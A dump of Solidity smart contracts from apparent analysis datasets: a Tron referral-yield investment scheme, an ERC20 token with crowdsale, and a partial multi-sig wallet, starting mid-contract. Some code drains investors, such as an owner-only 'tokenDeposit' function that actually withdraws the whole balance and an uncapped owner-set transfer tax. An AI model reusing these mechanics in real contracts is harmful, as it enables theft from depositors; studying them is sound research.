uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function tokenDeposit() public payable{
require(msg.sender == owner, "Only Token Deposit allowed");
msg.sender.transfer(address(this).balance);
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 292,941 | 11,347 |
15f4e273a39ab04a45164471ba5e6b8e3e4ee6fca84ae3de86c389d2bf98e478
| 19,478 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVwj4MRcjdwVLwky8tw19DLwunZxoZ8LoV_Tron0x.sol
| 4,544 | 17,254 |
//SourceUnit: Tron0x.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Tron0x {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 400;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
uint network = msgValue.mul(NETWORK).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
networkAddress.transfer(network);
emit FeePayed(msg.sender, marketingFee.add(projectFee).add(network));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
// else{
// user.referrer = adminAddress;
// }
// uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 11; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
// function getCurrentDayLimit() public view returns (uint) {
// uint limit;
// uint currentDay = (block.timestamp.sub(contractCreation)).div(TIME_STEP);
// if (currentDay == 0) {
// limit = DAY_LIMIT_STEPS[0];
// } else if (currentDay == 1) {
// limit = DAY_LIMIT_STEPS[1];
// } else if (currentDay >= 2 && currentDay <= 5) {
// limit = DAY_LIMIT_STEPS[1].mul(currentDay);
// } else if (currentDay >= 6 && currentDay <= 19) {
// limit = DAY_LIMIT_STEPS[2].mul(currentDay.sub(3));
// } else if (currentDay >= 20 && currentDay <= 49) {
// limit = DAY_LIMIT_STEPS[3].mul(currentDay.sub(11));
// } else if (currentDay >= 50) {
// limit = DAY_LIMIT_STEPS[4].mul(currentDay.sub(30));
// }
// return limit;
// }
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
// function getCurrentHalfDayAvailable() public view returns (uint) {
// return getCurrentDayLimit().sub(getCurrentHalfDayTurnover());
// }
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
// refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[11] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 305,300 | 11,348 |
89b98d55b35dc3eb36f851a3e70fe63474ad00ef31278e6df33d142049c7e272
| 10,214 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/5325_15733_0xa5959e9412d27041194c3c3bcbe855face2864f7.sol
| 2,700 | 10,128 |
pragma solidity ^0.5.1;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Addresses that will not be taxed
struct ExcludeAddress {bool isExist;}
mapping (address => ExcludeAddress) public excludeSendersAddresses;
mapping (address => ExcludeAddress) public excludeRecipientsAddresses;
address serviceWallet;
uint taxPercent = 4;
// Token params
string public constant name = "UniDexGas.com";
string public constant symbol = "UNDG";
uint public constant decimals = 18;
uint constant total = 10000;
uint256 private _totalSupply;
// -- Token params
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
_mint(msg.sender, total * 10**decimals);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_taxTransfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_taxTransfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _taxTransfer(address _sender, address _recipient, uint256 _amount) internal returns (bool) {
if(!excludeSendersAddresses[_sender].isExist && !excludeRecipientsAddresses[_recipient].isExist){
uint _taxedAmount = _amount.mul(taxPercent).div(100);
uint _transferedAmount = _amount.sub(_taxedAmount);
_transfer(_sender, serviceWallet, _taxedAmount); // tax to serviceWallet
_transfer(_sender, _recipient, _transferedAmount); // amount - tax to recipient
} else {
_transfer(_sender, _recipient, _amount);
}
return true;
}
// OWNER utils
function setAddressToExcludeRecipients (address addr) public onlyOwner {
excludeRecipientsAddresses[addr] = ExcludeAddress({isExist:true});
}
function setAddressToExcludeSenders (address addr) public onlyOwner {
excludeSendersAddresses[addr] = ExcludeAddress({isExist:true});
}
function removeAddressFromExcludes (address addr) public onlyOwner {
excludeSendersAddresses[addr] = ExcludeAddress({isExist:false});
excludeRecipientsAddresses[addr] = ExcludeAddress({isExist:false});
}
function changePercentOfTax(uint percent) public onlyOwner {
taxPercent = percent;
}
function changeServiceWallet(address addr) public onlyOwner {
serviceWallet = addr;
}
}
contract Crowdsale {
address payable owner;
address me = address(this);
uint sat = 1e18;
// *** Config ***
uint startIco = 1610632800;
uint stopIco = startIco + 72 hours;
uint percentSell = 35;
uint manualSaleAmount = 0 * sat;
uint countIfUNDB = 700000; // 1ETH -> 7 UNDG
uint countIfOther = 650000; // 1 ETH -> 6.5 UNDG
uint maxTokensToOnceHand = 130 * sat; // ~20 ETH for 14.01.2021
address undbAddress = 0xd03B6ae96CaE26b743A6207DceE7Cbe60a425c70;
uint undbMinBalance = 1e17; //0.1 UNDB
// --- Config ---
uint priceDecimals = 1e5; // realPrice = Price / priceDecimals
ERC20 UNDB = ERC20(undbAddress);
ERC20 token = new ERC20();
constructor() public {
owner = msg.sender;
token.setAddressToExcludeRecipients(owner);
token.setAddressToExcludeSenders(owner);
token.changeServiceWallet(owner);
token.setAddressToExcludeSenders(address(this));
token.transferOwnership(owner);
token.transfer(owner, token.totalSupply() / 100 * (100 - percentSell) + manualSaleAmount);
}
function() external payable {
require(startIco < now && now < stopIco, "Period error");
uint amount = msg.value * getPrice() / priceDecimals;
require(token.balanceOf(msg.sender) + amount <= maxTokensToOnceHand, "The purchase limit of 130 tokens has been exceeded");
require(amount <= token.balanceOf(address(this)), "Infucient token balance in ICO");
token.transfer(msg.sender, amount);
}
// OWNER ONLY
function manualGetETH() public payable {
require(msg.sender == owner, "You is not owner");
owner.transfer(address(this).balance);
}
function getLeftTokens() public {
require(msg.sender == owner, "You is not owner");
token.transfer(owner, token.balanceOf(address(this)));
}
//--- OWNER ONLY
function getPrice() public view returns (uint) {
return (UNDB.balanceOf(msg.sender) >= undbMinBalance ? countIfUNDB : countIfOther);
}
// Utils
function getStartICO() public view returns (uint) {
return (startIco - now) / 60;
}
function getOwner() public view returns (address) {
return owner;
}
function getStopIco() public view returns(uint){
return (stopIco - now) / 60;
}
function tokenAddress() public view returns (address){
return address(token);
}
function IcoDeposit() public view returns(uint){
return token.balanceOf(address(this)) / sat;
}
function myBalancex10() public view returns(uint){
return token.balanceOf(msg.sender) / 1e17;
}
}
| 230,201 | 11,349 |
54bd6d529fc9d80dce20532275237e7709cbb57c7e410d145f2cfdfcb61eb906
| 13,400 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe825363f3bedabc95b2a9d42dbc73ec7b82b57d3.sol
| 3,923 | 12,303 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.7;
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function multiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// uses is specified in the modifier.
contract daylimit is multiowned {
// METHODS
// constructor - stores initial daily limit and records the present day's index.
function daylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
